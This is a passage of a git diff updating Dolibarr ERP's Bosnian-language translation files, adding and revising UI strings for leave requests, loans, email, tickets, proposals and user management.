+SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/bs_BA/loan.lang b/htdocs/langs/bs_BA/loan.lang index ac858f1094f..13bb2ee9644 100644 --- a/htdocs/langs/bs_BA/loan.lang +++ b/htdocs/langs/bs_BA/loan.lang @@ -24,11 +24,11 @@ FinancialCommitment=Financial commitment InterestAmount=Interest CapitalRemain=Capital remain TermPaidAllreadyPaid = This term is allready paid -CantUseScheduleWithLoanStartedToPaid = Can't use scheduler for a loan with payment started +CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started CantModifyInterestIfScheduleIsUsed = You can't modify interest if you use schedule # Admin ConfigLoan=Configuration of the module loan -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Accounting account capital by default -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Accounting account interest by default -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Accounting account insurance by default +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Edit financial commitment diff --git a/htdocs/langs/bs_BA/mailmanspip.lang b/htdocs/langs/bs_BA/mailmanspip.lang index bab4b3576b4..6ff3ac9f770 100644 --- a/htdocs/langs/bs_BA/mailmanspip.lang +++ b/htdocs/langs/bs_BA/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Subscription test was executed successfully MailmanDeletionSuccess=Unsubscription test was executed successfully SynchroMailManEnabled=A Mailman update will be performed SynchroSpipEnabled=A Spip update will be performed -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator password +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=URL for Mailman subscriptions DescADHERENT_MAILMAN_UNSUB_URL=URL for Mailman unsubscriptions DescADHERENT_MAILMAN_LISTS=List(s) for automatic inscription of new members (separated by a comma) diff --git a/htdocs/langs/bs_BA/mails.lang b/htdocs/langs/bs_BA/mails.lang index 1c39ee93317..2703cd2de2d 100644 --- a/htdocs/langs/bs_BA/mails.lang +++ b/htdocs/langs/bs_BA/mails.lang @@ -7,10 +7,10 @@ MailCard=Kartica e-pošte MailRecipients=Primaoci MailRecipient=Primalac MailTitle=Opis -MailFrom=Pošiljalac +MailFrom=Od MailErrorsTo=Greške prema MailReply=Odgovori na -MailTo=Primalac(oci) +MailTo=Račun za MailToUsers=To user(s) MailCC=Kopiraj na MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Subjekti SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/bs_BA/main.lang b/htdocs/langs/bs_BA/main.lang index 6bbe061ed7e..8ee6fac4cb2 100644 --- a/htdocs/langs/bs_BA/main.lang +++ b/htdocs/langs/bs_BA/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=8 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Šablon za ovu vrstu emaila nije dostupan AvailableVariables=Dostupne zamjenske varijable NoTranslation=Nema prevoda Translation=Prevod +Translations=Translations CurrentTimeZone=Vremenska zona PHP (servera) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Valjan Approve=Odobriti Disapprove=Odbij ReOpen=Opet otvori +OpenVerb=Otvoren Upload=Upload ToLink=Link Select=Odaberi @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Nije definirana korisnička grupa Password=Šifra -PasswordRetype=Ponovno upišite šifru +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Mnoge osobine/moduli su onemogućeni pri ovoj demostraciji. Name=Naziv NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Opis DescriptionOfLine=Description of line DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Šablon dokumenta DefaultModel=Defaultni šablon dokumenta Action=Događaj @@ -344,7 +353,7 @@ KiloBytes=kilobajta MegaBytes=megabajta GigaBytes=gigabajta TeraBytes=terabajta -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Događaji o ovom članu ActionsOnProduct=Događaji o ovom proizvodu +ActionsOnAsset=Events for this fixed asset NActionsLate=%s kasne ToDo=To do Completed=Završeno @@ -517,6 +527,7 @@ or=ili Other=Ostalo Others=Drugi OtherInformations=Other information +Workflow=Workflow - Tok rada Quantity=Količina Qty=Kol ChangedBy=Izmijenio @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Priložene datoteke i dokumenti JoinMainDoc=Spoji glavni dokument +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=MM-YYYY DateFormatYYYYMMDD=DD-MM-YYYY DateFormatYYYYMMDDHHMM=DD-MM-YYYY HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=Osobina onemogućena MoveBox=Pomjeri prikaz Offered=Ponuđeno NotEnoughPermissions=Nemate dozvolu za ovu akciju +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Naziv sesije Method=Metoda Receive=Primiti @@ -798,6 +811,7 @@ URLPhoto=URL fotografije/logotipa SetLinkToAnotherThirdParty=Link prema drugom subjektu LinkTo=Link ka LinkToProposal=Link ka prijedlogu +LinkToExpedition= Link to expedition LinkToOrder=Link ka narudžbi LinkToInvoice=Link na fakturu LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Skidanje DownloadDocument=Skidanje dokumenta +DownloadSignedDocument=Download signed document ActualizeCurrency=Ažuriraj kurs valute Fiscalyear=Fiskalna godina ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Ugovori SearchIntoCustomerShipments=Slanje kupcu SearchIntoExpenseReports=Izvještaj o troškovima SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Stopa +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Deaktiviraj +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Interni korisnik +ExternalUser=Vanjski korisnik diff --git a/htdocs/langs/bs_BA/other.lang b/htdocs/langs/bs_BA/other.lang index 4ef2a28837a..dd9a1a47906 100644 --- a/htdocs/langs/bs_BA/other.lang +++ b/htdocs/langs/bs_BA/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Customer proposal validated Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Commercial proposal sent by mail Notify_WITHDRAW_TRANSMIT=Transmission withdrawal Notify_WITHDRAW_CREDIT=Credit withdrawal @@ -110,7 +112,7 @@ ChooseYourDemoProfilMore=...or build your own profile
      (manual module selectio DemoFundation=Manage members of a foundation DemoFundation2=Manage members and bank account of a foundation DemoCompanyServiceOnly=Company or freelance selling service only -DemoCompanyShopWithCashDesk=Manage a shop with a cash desk +DemoCompanyShopWithCashDesk=Manage a shop with a cash box DemoCompanyProductAndStocks=Shop selling products with Point Of Sales DemoCompanyManufacturing=Company manufacturing products DemoCompanyAll=Company with multiple activities (all main modules) @@ -181,6 +183,7 @@ SizeUnitfoot=foot SizeUnitpoint=point BugTracker=Bug tracker SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Back to login page AuthenticationDoesNotAllowSendNewPassword=Authentication mode is %s.
      In this mode, Dolibarr can't know nor change your password.
      Contact your system administrator if you want to change your password. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -303,3 +309,31 @@ SelectTheTypeOfObjectToAnalyze=Select an object to view its statistics... ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Close +Autofill = Autofill + +# externalsite +ExternalSiteSetup=Podesi link za eksterni web sajt +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Modul ExternalSite nije konfigurisan kako treba. +ExampleMyMenuEntry=My menu entry + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Neuspjelo uklanjanje fajla %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Pasivni način +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/bs_BA/propal.lang b/htdocs/langs/bs_BA/propal.lang index af3d9ae24cd..ed684c3e570 100644 --- a/htdocs/langs/bs_BA/propal.lang +++ b/htdocs/langs/bs_BA/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=No draft proposals CopyPropalFrom=Kreiraj poslovni prijedlog kopiranje postojećeg prijedloga CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Default commercial proposal validity duration (in days) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Availability delay SetAvailability=Set availability delay AfterOrder=after order OtherProposals=Other proposals + ##### Availability ##### AvailabilityTypeAV_NOW=Odmah AvailabilityTypeAV_1W=1 week AvailabilityTypeAV_2W=2 weeks AvailabilityTypeAV_3W=3 weeks AvailabilityTypeAV_1M=1 month -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Representative following-up proposal TypeContact_propal_external_BILLING=Kontakt za fakturu kupca TypeContact_propal_external_CUSTOMER=Customer contact following-up proposal TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models -DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) -DocModelCyanDescription=A complete proposal model +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Case followed by +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Default template when closing a business proposal (unbilled) DefaultModelPropalCreate=Default model creation DefaultModelPropalToBill=Default template when closing a business proposal (to be invoiced) -DefaultModelPropalClosed=Default template when closing a business proposal (unbilled) +DocModelAzurDescription=A complete proposal model (old implementation of Cyan template) +DocModelCyanDescription=A complete proposal model +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Odbij +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Written acceptance, company stamp, date and signature ProposalsStatisticsSuppliers=Vendor proposals statistics -CaseFollowedBy=Case followed by -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/bs_BA/ticket.lang b/htdocs/langs/bs_BA/ticket.lang index c92ba7c169c..d8f61a4a267 100644 --- a/htdocs/langs/bs_BA/ticket.lang +++ b/htdocs/langs/bs_BA/ticket.lang @@ -27,6 +27,7 @@ Permission56003=Delete tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Tickets=Tickets TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -90,15 +91,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Notification email from -TicketEmailNotificationFromHelp=Used into ticket message answer by example -TicketEmailNotificationTo=Notifications email to -TicketEmailNotificationToHelp=Send email notifications to this address. +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationTo=Notify ticket creation to this e-mail address +TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=In the public interface, the email address should already be filled in the database to create a new ticket. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Public interface TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,6 +139,20 @@ TicketsPublicNotificationNewMessage=Send email(s) when a new message/comment is TicketsPublicNotificationNewMessageHelp=Send email(s) when a new message is added from public interface (to assigned user or the notifications email to (update) and/or the notifications email to) TicketPublicNotificationNewMessageDefaultEmail=Notifications email to (update) TicketPublicNotificationNewMessageDefaultEmailHelp=Send an email to this address for each new message notifications if the ticket doesn't have a user assigned to it or if the user doesn't have any known email. +TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) +TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". +TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): +TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. +TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): +TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. +TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket +TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. +TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. +TicketChooseProductCategory=Product category for ticket support +TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. + # # Index & list page # @@ -151,6 +168,8 @@ OrderByDateAsc=Sort by ascending date OrderByDateDesc=Sort by descending date ShowAsConversation=Show as conversation list MessageListViewType=Show as table list +ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets +ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? # # Ticket card @@ -176,8 +195,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Change severity -TicketAddMessage=Add a message -AddMessage=Add a message +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Message successfully added TicketMessagesList=Message list @@ -188,8 +206,8 @@ TicketSeverity=Severity ShowTicket=See ticket RelatedTickets=Related tickets TicketAddIntervention=Create intervention -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -203,18 +221,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction to the message when sending email -TicketMessageMailIntroText=Hello,
      A new response was sent on a ticket that you contact. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the text of the response to a ticket. -TicketMessageMailSignature=Potpis -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=

      Sincerely,

      --

      -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=This text will be inserted after the response message. +TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      +TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -225,6 +242,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -238,9 +256,16 @@ TicketChangeStatus=Change status TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create +NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket +TicketNotifyAllTiersAtClose=All related contacts +TicketNotNotifyTiersAtClose=No related contact Unread=Unread TicketNotCreatedFromPublicInterface=Not available. Ticket was not created from public interface. ErrorTicketRefRequired=Ticket reference name is required +TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. +TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. +TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. +TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. # # Logs @@ -268,11 +293,12 @@ TicketNewEmailBody=This is an automatic email to confirm you have registered a n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Information for monitoring the ticket TicketNewEmailBodyInfosTrackId=Ticket tracking number: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the link above. +TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -291,6 +317,10 @@ NewUser=Novi korisnik NumberOfTicketsByMonth=Number of tickets per month NbOfTickets=Number of tickets # notifications +TicketCloseEmailSubjectCustomer=Ticket closed +TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. +TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) +TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=This is an automatic message to notify you that ticket %s has just been updated TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/bs_BA/users.lang b/htdocs/langs/bs_BA/users.lang index 69b5907a403..5266d7c1bd3 100644 --- a/htdocs/langs/bs_BA/users.lang +++ b/htdocs/langs/bs_BA/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Ukloni iz grupe PasswordChangedAndSentTo=Šifra promijenjena i poslana korisniku %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Zahtjev za promjenu šifre za %s poslana na %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Korisnici i grupe @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Kreiraj korisnika CreateDolibarrThirdParty=Napravi subjekat -LoginAccountDisableInDolibarr=Račun isključen u Dolibarru. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Koristite lične vrijednosti -InternalUser=Interni korisnik ExportDataset_user_1=Users and their properties DomainUser=Korisnik domene %s Reactivate=Reaktivirati @@ -114,7 +114,7 @@ UserLogoff=Odjava korisnika UserLogged=Korisnik prijavljen DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/ca_ES/accountancy.lang 